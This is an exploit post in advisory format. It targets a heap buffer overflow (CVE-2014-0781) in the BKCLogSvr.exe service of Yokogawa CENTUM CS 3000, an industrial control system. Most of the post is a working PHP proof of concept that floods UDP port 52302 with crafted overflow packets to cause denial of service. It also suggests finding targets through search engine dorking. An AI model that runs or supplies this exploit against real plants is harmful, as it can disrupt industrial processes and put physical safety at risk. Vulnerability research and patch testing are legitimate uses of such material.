=============================================================================================================================================
| # Title     : Yokogawa CENTUM CS 3000 R3.08.50 Heap Buffer Overflow vulnerability                                                         |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
| # Vendor    : https://www.yokogawa.com/                                                                                                   |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] Code Description: BKCLogSvr.exe service on Yokogawa CENTUM CS 3000 system, exploiting Heap Buffer Overflow vulnerability to cause Denial of Service (DoS) by sending malformed UDP packets.

    Opens UDP connection to port 52302.
	
    Sends malformed packets that cause buffer overflow.
	
    Sends multiple packets to ensure attack execution.
	
    Closes connection after sending.

   (Related : https://packetstorm.news/files/id/180485/ Linked CVE numbers: CVE-2014-0781 ) .
	
[+] save code as poc.php.

[+] Set target : line 3

[+] PayLoad :

<?php
// إعدادات الاتصال
$target = "192.168.1.100"; // استبدل بعنوان الهدف
$port = 52302;
$rlimit = 10; // عدد الحزم التي سيتم إرسالها

if ($rlimit < 2) {
    die("يجب إرسال حزمتين متتاليتين على الأقل لتفعيل شرط DoS.\n");
}

// إنشاء الحزمة الخبيثة
$test = pack("V", 1024);  // طول الحزمة
$test .= "AAAA";          // بيانات غير معروفة
$test .= "SOURCE\x00\x00"; // المصدر
$test .= str_repeat("\x00", 8); // حشو (Padding)
$test .= str_repeat("B", 1024 - strlen($test)); // تجاوز الذاكرة

// إنشاء مقبس UDP
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if (!$socket) {
    die("فشل إنشاء مقبس UDP: " . socket_strerror(socket_last_error()) . "\n");
}

echo "إرسال $rlimit حزم إلى $target:$port...\n";

// إرسال الحزم
for ($i = 1; $i <= $rlimit; $i++) {
    echo "إرسال الحزمة $i/$rlimit...\n";
    socket_sendto($socket, $test, strlen($test), 0, $target, $port);
}

// إغلاق الاتصال
socket_close($socket);

echo "تم الإرسال بنجاح!\n";
?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================